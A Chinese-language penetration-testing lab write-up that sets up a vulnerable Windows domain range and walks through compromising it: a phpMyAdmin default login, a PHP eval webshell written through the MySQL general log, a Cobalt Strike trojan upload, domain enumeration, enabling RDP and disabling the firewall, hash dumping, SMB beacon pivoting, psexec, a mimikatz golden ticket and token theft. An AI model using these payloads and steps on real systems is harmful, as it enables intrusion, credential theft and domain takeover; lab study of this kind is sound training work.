学习目标:
- 搭建需求环境(windows7提供web服务双网卡可访问外网和内网主机;window2008 内网域控 ;windows7 内网主机)
学习内容:
例如:
- 环境搭建。
- web打点
- shell连接(使用蚁剑)
- 内网渗透
一、环境搭建
攻击机:kali
靶机:
1.web服务:window 7(vm1)
2.windows 2008(域控)
3.windows 7(内网主机)
下载位置:链接:https://pan.baidu.com/s/1b3bC2prsUf5NDy8RzpVoqw
提取码:6785
注意:靶场环境下载30天
window 7 web服务网卡设置 (NAT可以上网,通过kali进行打击)
windows 2008(域控)
windows 7加入域控
找到ipv4属性进行下面的指定IP的设置;注意网关和DNS和域控地址一致。
之后点击计算机属性--->点击更改设置---->点击更改----->加入域输入域名
注意这里内网的三台主机都在同一网段(192.168.52.0)
由于windows2003下载出现问题,我这里使用另一台windows7 加入windows2008域控即可。
之后我们进行内网的相互ping通保证内网相同即可。(如果ping不通的话关闭所有主机的防火墙再次尝试。)
二、web打点
windows 7使用phpstudy搭建的网站现打开站点
1.进行nmap扫描
命令:namp -sV -p 1-65000 192.168.91.143
2.查看网站信息。
3.使用Dirbustr进行目录扫描。
4.访问phpadmin目录进入管理后台,使用默认账户root/root进行登录
5.尝试通过执行sql语句写入shell。
命令:select '<?php phpinfo();?>' into outfile 'C:/phpStudy/WWW/phpinfo.php'
发现出错。
6.尝试通过日志写入shell
命令:show variables like '%general%'
看到日志功能是关闭的,我们尝试命令:set global general_log=on
再次查看日志功能是否开启
我们修改一下保存路径,放边待会写入shell时使用shell工具连接。
命令:set global general_log_file='C:/phpstudy/WWW/shell.php'
查看内容 show variables like '%general%'
写入一句话木马,通过查询方式
命令:select '<?php eval($_POST[("passwd")]);?>'
用中国蚁剑进行连接。
7.我们已经成功写入webshell,前面我们通过目录扫描到很多地址信息,找到/yxcms/是一个备份文件,我们点击登录:
从登录页面我们看到了后台登录位置和账户密码
后台地址;/index.php?r=admin
账户密码:admin /123456
8.我们通过模板写入webshell
之后我们要尝试使用蚁剑连接,我们观察到这个文件位置是查询到的。
我们拿到地址:admin/set/tpedit&Mname=default&fname=index_search.php
不行我们随便执行查询更改为
?r=default%2Findex%2Fsearch&keywords=777&type=all
使用蚁剑连接,就可以拿到后台了。
三、后门上传连接
1.讲个上线CS,上篇文章使用msf上传的,这次结合蚁剑上传CS生成的exe文件进行后期管理。
CS使用
在服务端输入命令 ./teamserver 服务端IP 密码
客户端点击sh文件
2.使用cs生成exe木马文件
创建监听器ip端口为本地IP
生成exe木马
通过蚁剑进行上传木马。
通过shell找到exe文件位置点击执行,CS成功上线。
四、内网渗透
1.信息收集
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
net localhroup administrators #本机管理员[通常含有域用户]
net user 用户名 /domain #获取指定用户的账户信息
net group /domain #查询域里面的工作组
net group 组名 /domain #查询域中的某工作组
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器 net user /domain #查看域用户 net view /domain #查看有几个域 ipconfig /all #查询本机IP段,所在域等 net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 net user #本机用户列表 net group "domain computers" /domain #查看域内所有的主机名 net group "domain admins" /domain #查看域管理员 net group "domain controllers" /domain #查看域控 net localhroup administrators #本机管理员[通常含有域用户] net user 用户名 /domain #获取指定用户的账户信息 net group /domain #查询域里面的工作组 net group 组名 /domain #查询域中的某工作组
ipconfig /all看到有内网ip #可判断是否存在域
一些命令在msf的shell没能成功执行,但在cs下可以
权限信息
通过提权工具直接提权为system
看到域内成员
通过命令:shell ipconfig /all
命令:shell arp -a
知道内网环境为三台主机
主机1:STU1 IP1:192.168.91.143 ip2:192.168.52.143
主机2:mayong-pc$ ip:192.168.52.141
主机3 ROOT-TVI862UBEH$(域控通过DNS2服务器可知)IP:192.168.52.138
2.进行横向探测
命令:
shell net view
尝试远程登录;因为3389端口没有开放
命令:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
使用命令:advfirewall set allprofiles state off 增加防火墙策略
添加用户
3.由于内网不出网我们登录3389
4.进行横向渗透
使用CS进行内网端口扫描
扫描结果----内网三台主机端口开发情况
net view 一下,看内网其他主机可不可以看到(不可以的话要添加路由)
转存hash之后---查看登录密码(等待对方登录就可以看到明文)
5.派生smb beacon
因为192.168.52.0/24段不能直接连接到攻击机 地址,所以需要CS派生smb beacon。让内网的主机连接到win7上。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon 有两种方式
「第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash」
点击对应的shell主机---》增加会话---选择刚刚的listener
「第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透」前提是能够通过 shell 之类访问到内网其他主机
6.psexec 使用凭证登录其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息 于是可以尝试使用 psexec 模块登录其他主机 右键选择 域控主机 owa 的 psexec 模块:
进入域控主机beacon
7.制造黄金票据
7.1制作黄金票据的前提条件
-
域名称
-
域的 SID
-
域的 krbtgt账户的密码 hash 值 (NTLM or aes256_hmac)
-
伪造的用户名,可以是任意用户甚至是不存在
krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
7.2构造黄金票据
域名已经在前面收集到:god.org
拿到域控主机后,就可以伪造黄金票据了,先选择hashdump得到kebtgt账户的NTLM值:
然后使用mimikatz找到一个合法的sid
然后就可以构造黄金票据了,用户名任意,域名为当前域名,sid和hash值就是刚才获取到的:
可以使用mimikatz kerberos::list命令查看当前系统的票据:
8.上线那台域用户:MAYONG-PC
加载票据访问,选择监听器后执行,主机成功上线:
9.窃取token
直接窃取 GOD\Administrator 的 token 来登录其他主机 选择 beacon 右键 -> 目标 -> 进程列表 选择 GOD\Administrator 的 token 盗取:
然后在选择令牌处勾选使用当前 token 即可: